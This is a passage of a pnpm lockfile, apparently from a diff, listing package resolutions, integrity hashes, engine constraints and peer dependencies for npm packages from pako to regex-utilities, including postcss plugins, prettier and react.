sha512-z2kY1mQlL4J8q5EIsQkLzQjilovKzfNVhX8De6oyE6uHpfFtyBaqUpcl/XzJC/4fjD8vBDyh1zolimIcVrCn9g==} + hasBin: true + + pako@0.2.9: + resolution: {integrity: sha512-NUcwaKxUxWrZLpDG+z/xZaCgQITkA/Dv4V/T6bw7VON6l1Xz/VnrBqrYjZQ12TamKHzITTfOEIYUj48y2KXImA==} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + parse-entities@4.0.2: + resolution: {integrity: sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==} + + parse-json@5.2.0: + resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==} + engines: {node: '>=8'} + + parse-latin@7.0.0: + resolution: {integrity: sha512-mhHgobPPua5kZ98EF4HWiH167JWBfl4pvAIXXdbaVohtK7a6YBOy56kvhCqduqyo/f3yrHFWmqmiMg/BkBkYYQ==} + + parse-srcset@1.0.2: + resolution: {integrity: sha512-/2qh0lav6CmI15FzA3i/2Bzk2zCgQhGMkvhOhKNcBVQ1ldgpbfiNTVslmooUmWJcADi1f1kIeynbDRVzNlfR6Q==} + + parse5-htmlparser2-tree-adapter@7.1.0: + resolution: {integrity: sha512-ruw5xyKs6lrpo9x9rCZqZZnIUntICjQAd0Wsmp396Ul9lN/h+ifgVV1x1gZHi8euej6wTfpqX8j+BFQxF0NS/g==} + + parse5-parser-stream@7.1.2: + resolution: {integrity: sha512-JyeQc9iwFLn5TbvvqACIF/VXG6abODeB3Fwmv/TGdLk2LfbWkaySGY72at4+Ty7EkPZj854u4CrICqNk2qIbow==} + + parse5@7.2.1: + resolution: {integrity: sha512-BuBYQYlv1ckiPdQi/ohiivi9Sagc9JG+Ozs0r7b/0iK3sKmrb0b9FdWdBbOdx6hBCM/F9Ir82ofnBhtZOjCRPQ==} + + parse5@7.3.0: + resolution: {integrity: sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==} + + path-browserify@1.0.1: + resolution: {integrity: sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==} + + path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + + path-is-absolute@1.0.1: + resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} + engines: {node: '>=0.10.0'} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + + path-scurry@1.11.1: + resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==} + engines: {node: '>=16 || 14 >=14.18'} + + path-to-regexp@6.3.0: + resolution: {integrity: sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==} + + path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + + pathe@1.1.2: + resolution: {integrity: sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==} + + pathe@2.0.3: + resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} + + pend@1.2.0: + resolution: {integrity: sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==} + + photoswipe@5.4.4: + resolution: {integrity: sha512-WNFHoKrkZNnvFFhbHL93WDkW3ifwVOXSW3w1UuZZelSmgXpIGiZSNlZJq37rR8YejqME2rHs9EhH9ZvlvFH2NA==} + engines: {node: '>= 0.12.0'} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + picomatch@4.0.3: + resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + engines: {node: '>=12'} + + pify@2.3.0: + resolution: {integrity: sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==} + engines: {node: '>=0.10.0'} + + pify@5.0.0: + resolution: {integrity: sha512-eW/gHNMlxdSP6dmG6uJip6FXN0EQBwm2clYYd8Wul42Cwu/DK8HEftzsapcNdYe2MfLiIwZqsDk2RDEsTE79hA==} + engines: {node: '>=10'} + + pirates@4.0.7: + resolution: {integrity: sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==} + engines: {node: '>= 6'} + + pkg-dir@4.2.0: + resolution: {integrity: sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==} + engines: {node: '>=8'} + + pkg-types@1.3.1: + resolution: {integrity: sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==} + + pkg-types@2.1.0: + resolution: {integrity: sha512-wmJwA+8ihJixSoHKxZJRBQG1oY8Yr9pGLzRmSsNms0iNWyHHAlZCa7mmKiFR10YPZuz/2k169JiS/inOjBCZ2A==} + + possible-typed-array-names@1.1.0: + resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} + engines: {node: '>= 0.4'} + + postcss-calc@8.2.4: + resolution: {integrity: sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==} + peerDependencies: + postcss: ^8.2.2 + + postcss-colormin@5.3.1: + resolution: {integrity: sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-convert-values@5.1.3: + resolution: {integrity: sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-comments@5.1.2: + resolution: {integrity: sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-duplicates@5.1.0: + resolution: {integrity: sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-empty@5.1.1: + resolution: {integrity: sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-discard-overridden@5.1.0: + resolution: {integrity: sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-import@15.1.0: + resolution: {integrity: sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==} + engines: {node: '>=14.0.0'} + peerDependencies: + postcss: ^8.0.0 + + postcss-import@16.1.1: + resolution: {integrity: sha512-2xVS1NCZAfjtVdvXiyegxzJ447GyqCeEI5V7ApgQVOWnros1p5lGNovJNapwPpMombyFBfqDwt7AD3n2l0KOfQ==} + engines: {node: '>=18.0.0'} + peerDependencies: + postcss: ^8.0.0 + + postcss-js@4.1.0: + resolution: {integrity: sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==} + engines: {node: ^12 || ^14 || >= 16} + peerDependencies: + postcss: ^8.4.21 + + postcss-load-config@3.1.4: + resolution: {integrity: sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==} + engines: {node: '>= 10'} + peerDependencies: + postcss: '>=8.0.9' + ts-node: '>=9.0.0' + peerDependenciesMeta: + postcss: + optional: true + ts-node: + optional: true + + postcss-load-config@4.0.2: + resolution: {integrity: sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==} + engines: {node: '>= 14'} + peerDependencies: + postcss: '>=8.0.9' + ts-node: '>=9.0.0' + peerDependenciesMeta: + postcss: + optional: true + ts-node: + optional: true + + postcss-load-config@6.0.1: + resolution: {integrity: sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==} + engines: {node: '>= 18'} + peerDependencies: + jiti: '>=1.21.0' + postcss: '>=8.0.9' + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + jiti: + optional: true + postcss: + optional: true + tsx: + optional: true + yaml: + optional: true + + postcss-merge-longhand@5.1.7: + resolution: {integrity: sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-merge-rules@5.1.4: + resolution: {integrity: sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-font-values@5.1.0: + resolution: {integrity: sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-gradients@5.1.1: + resolution: {integrity: sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-params@5.1.4: + resolution: {integrity: sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-minify-selectors@5.2.1: + resolution: {integrity: sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-modules-extract-imports@3.1.0: + resolution: {integrity: sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules-local-by-default@4.2.0: + resolution: {integrity: sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules-scope@3.2.1: + resolution: {integrity: sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules-values@4.0.0: + resolution: {integrity: sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + postcss-modules@4.3.1: + resolution: {integrity: sha512-ItUhSUxBBdNamkT3KzIZwYNNRFKmkJrofvC2nWab3CPKhYBQ1f27XXh1PAPE27Psx58jeelPsxWB/+og+KEH0Q==} + peerDependencies: + postcss: ^8.0.0 + + postcss-nested@6.2.0: + resolution: {integrity: sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==} + engines: {node: '>=12.0'} + peerDependencies: + postcss: ^8.2.14 + + postcss-nesting@13.0.2: + resolution: {integrity: sha512-1YCI290TX+VP0U/K/aFxzHzQWHWURL+CtHMSbex1lCdpXD1SoR2sYuxDu5aNI9lPoXpKTCggFZiDJbwylU0LEQ==} + engines: {node: '>=18'} + peerDependencies: + postcss: ^8.4 + + postcss-normalize-charset@5.1.0: + resolution: {integrity: sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-display-values@5.1.0: + resolution: {integrity: sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-positions@5.1.1: + resolution: {integrity: sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-repeat-style@5.1.1: + resolution: {integrity: sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-string@5.1.0: + resolution: {integrity: sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-timing-functions@5.1.0: + resolution: {integrity: sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-unicode@5.1.1: + resolution: {integrity: sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-url@5.1.0: + resolution: {integrity: sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-normalize-whitespace@5.1.1: + resolution: {integrity: sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-ordered-values@5.1.3: + resolution: {integrity: sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-reduce-initial@5.1.2: + resolution: {integrity: sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-reduce-transforms@5.1.0: + resolution: {integrity: sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-selector-parser@6.0.10: + resolution: {integrity: sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==} + engines: {node: '>=4'} + + postcss-selector-parser@6.1.2: + resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==} + engines: {node: '>=4'} + + postcss-selector-parser@7.1.0: + resolution: {integrity: sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA==} + engines: {node: '>=4'} + + postcss-svgo@5.1.0: + resolution: {integrity: sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-unique-selectors@5.1.1: + resolution: {integrity: sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==} + engines: {node: ^10 || ^12 || >=14.0} + peerDependencies: + postcss: ^8.2.15 + + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + + postcss@8.5.3: + resolution: {integrity: sha512-dle9A3yYxlBSrt8Fu+IpjGT8SY8hN0mlaA6GY8t0P5PjIOZemULz/E2Bnm/2dcUOena75OTNkHI76uZBNUUq3A==} + engines: {node: ^10 || ^12 || >=14} + + postcss@8.5.6: + resolution: {integrity: sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==} + engines: {node: ^10 || ^12 || >=14} + + prettier-plugin-astro@0.14.1: + resolution: {integrity: sha512-RiBETaaP9veVstE4vUwSIcdATj6dKmXljouXc/DDNwBSPTp8FRkLGDSGFClKsAFeeg+13SB0Z1JZvbD76bigJw==} + engines: {node: ^14.15.0 || >=16.0.0} + + prettier@2.8.7: + resolution: {integrity: sha512-yPngTo3aXUUmyuTjeTUT75txrf+aMh9FiD7q9ZE/i6r0bPb22g4FsE6Y338PQX1bmfy08i9QQCB7/rcUAVntfw==} + engines: {node: '>=10.13.0'} + hasBin: true + + prettier@2.8.8: + resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} + engines: {node: '>=10.13.0'} + hasBin: true + + prettier@3.6.2: + resolution: {integrity: sha512-I7AIg5boAr5R0FFtJ6rCfD+LFsWHp81dolrFD8S79U9tb8Az2nGrJncnMSnys+bpQJfRUzqs9hnA81OAA3hCuQ==} + engines: {node: '>=14'} + hasBin: true + + pretty-bytes@3.0.1: + resolution: {integrity: sha512-eb7ZAeUTgfh294cElcu51w+OTRp/6ItW758LjwJSK72LDevcuJn0P4eD71PLMDGPwwatXmAmYHTkzvpKlJE3ow==} + engines: {node: '>=0.10.0'} + + pretty-bytes@5.6.0: + resolution: {integrity: sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==} + engines: {node: '>=6'} + + prismjs@1.30.0: + resolution: {integrity: sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==} + engines: {node: '>=6'} + + promise.series@0.2.0: + resolution: {integrity: sha512-VWQJyU2bcDTgZw8kpfBpB/ejZASlCrzwz5f2hjb/zlujOEB4oeiAhHygAWq8ubsX2GVkD4kCU5V2dwOTaCY5EQ==} + engines: {node: '>=0.12'} + + prompts@2.4.2: + resolution: {integrity: sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==} + engines: {node: '>= 6'} + + property-information@6.5.0: + resolution: {integrity: sha512-PgTgs/BlvHxOu8QuEN7wi5A0OmXaBcHpmCSTehcs6Uuu9IkDIEo13Hy7n898RHfrQ49vKCoGeWZSaAK01nwVig==} + + property-information@7.0.0: + resolution: {integrity: sha512-7D/qOz/+Y4X/rzSB6jKxKUsQnphO046ei8qxG59mtM3RG3DHgTK81HrxrmoDVINJb8NKT5ZsRbwHvQ6B68Iyhg==} + + property-information@7.1.0: + resolution: {integrity: sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==} + + proxy-from-env@1.1.0: + resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==} + + pump@3.0.2: + resolution: {integrity: sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==} + + punycode.js@2.3.1: + resolution: {integrity: sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==} + engines: {node: '>=6'} + + quansync@0.2.10: + resolution: {integrity: sha512-t41VRkMYbkHyCYmOvx/6URnN80H7k4X0lLdBMGsz+maAwrJQYB1djpV6vHrQIBE0WBSGqhtEHrK9U3DWWH8v7A==} + + queue-microtask@1.2.3: + resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==} + + radix3@1.1.2: + resolution: {integrity: sha512-b484I/7b8rDEdSDKckSSBA8knMpcdsXudlE/LNL639wFoHKwLbEkQFZHWEYwDC0wa0FKUcCY+GAF73Z7wxNVFA==} + + randombytes@2.1.0: + resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==} + + react-dom@19.2.0: + resolution: {integrity: sha512-UlbRu4cAiGaIewkPyiRGJk0imDN2T3JjieT6spoL2UeSf5od4n5LB/mQ4ejmxhCFT1tYe8IvaFulzynWovsEFQ==} + peerDependencies: + react: ^19.2.0 + + react-refresh@0.17.0: + resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} + engines: {node: '>=0.10.0'} + + react@19.2.0: + resolution: {integrity: sha512-tmbWg6W31tQLeB5cdIBOicJDJRR2KzXsV7uSK9iNfLWQ5bIZfxuPEHp7M8wiHyHnn0DD1i7w3Zmin0FtkrwoCQ==} + engines: {node: '>=0.10.0'} + + read-cache@1.0.0: + resolution: {integrity: sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==} + + readdirp@3.6.0: + resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==} + engines: {node: '>=8.10.0'} + + readdirp@4.1.2: + resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==} + engines: {node: '>= 14.18.0'} + + reading-time@1.5.0: + resolution: {integrity: sha512-onYyVhBNr4CmAxFsKS7bz+uTLRakypIe4R+5A824vBSkQy/hB3fZepoVEf8OVAxzLvK+H/jm9TzpI3ETSm64Kg==} + + rechoir@0.6.2: + resolution: {integrity: sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==} + engines: {node: '>= 0.10'} + + reflect.getprototypeof@1.0.10: + resolution: {integrity: sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==} + engines: {node: '>= 0.4'} + + regenerate-unicode-properties@10.2.0: + resolution: {integrity: sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==} + engines: {node: '>=4'} + + regenerate@1.4.2: + resolution: {integrity: sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==} + + regex-recursion@6.0.2: + resolution: {integrity: sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==} + + regex-utilities@2.3.0: + resolution: {integrity: sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==} 